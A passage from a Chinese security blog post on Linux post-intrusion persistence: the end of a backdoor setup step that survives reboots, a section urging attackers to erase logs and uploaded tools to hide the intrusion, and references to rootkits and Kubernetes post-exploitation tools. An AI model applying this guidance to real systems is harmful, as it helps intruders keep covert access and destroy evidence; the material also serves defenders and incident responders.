    设置完之后,执行run,等待一会就会收到目标机器的连接,进入控制界面

    目标重启之后仍然可以接收到后门。

    更多使用,参考官方wiki

    Linux痕迹清理

    在攻击结束后,如何不留痕迹的清除日志和操作记录,以掩盖入侵踪迹,这其实是一个细致的技术活。你所做的每一个操作,都要被抹掉;你所上传的工具,都应该被安全地删掉。

    Linux痕迹清理方法见

    https://www.cnblogs.com/yokan/p/15701536.html

    参考

    https://www.freebuf.com/articles/network/257603.html
    https://websec.readthedocs.io/zh/latest/intranet/linux/index.html
    https://baiker.top/0839a9742351
    https://xz.aliyun.com/t/100
    https://www.ddosi.org/ssh-movement/
    https://xz.aliyun.com/t/7338
    https://www.cnblogs.com/-mo-/p/12337766.html
    第3篇:Linux权限维持--隐藏篇 · 应急响应实战笔记 (bypass007.github.io)
    f0rb1dd3n/Reptile: LKM Linux rootkit (github.com)
    Metarget/k0otkit: k0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters. (github.com)
    https://www.sohu.com/a/153754894_354899
    https://blog.csdn.net/fageweiketang/article/details/86665518
    https://www.hacking8.com/MiscSecNotes/rookit.html


    __EOF__

  • 本文作者: Yokan
  • 本文链接: https://www.cnblogs.com/yokan/p/16300797.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    MySQL update 是锁行还是锁表?
    https和http的区别及安全性
    【微信小程序】利用MPFlutter开发微信小程序
    01.OpenWrt-写在前面
    Maven工程打jar包的N种方式
    页面上时间显示为数字 后端返回给前端 response java系统
    Linux的用户管理
    软考学习笔记
    2022年湖北武汉八大员考试报名详细介绍,甘建二
    C++:函数:匿名函数Lambda
  • 原文地址:https://www.cnblogs.com/yokan/p/16300797.html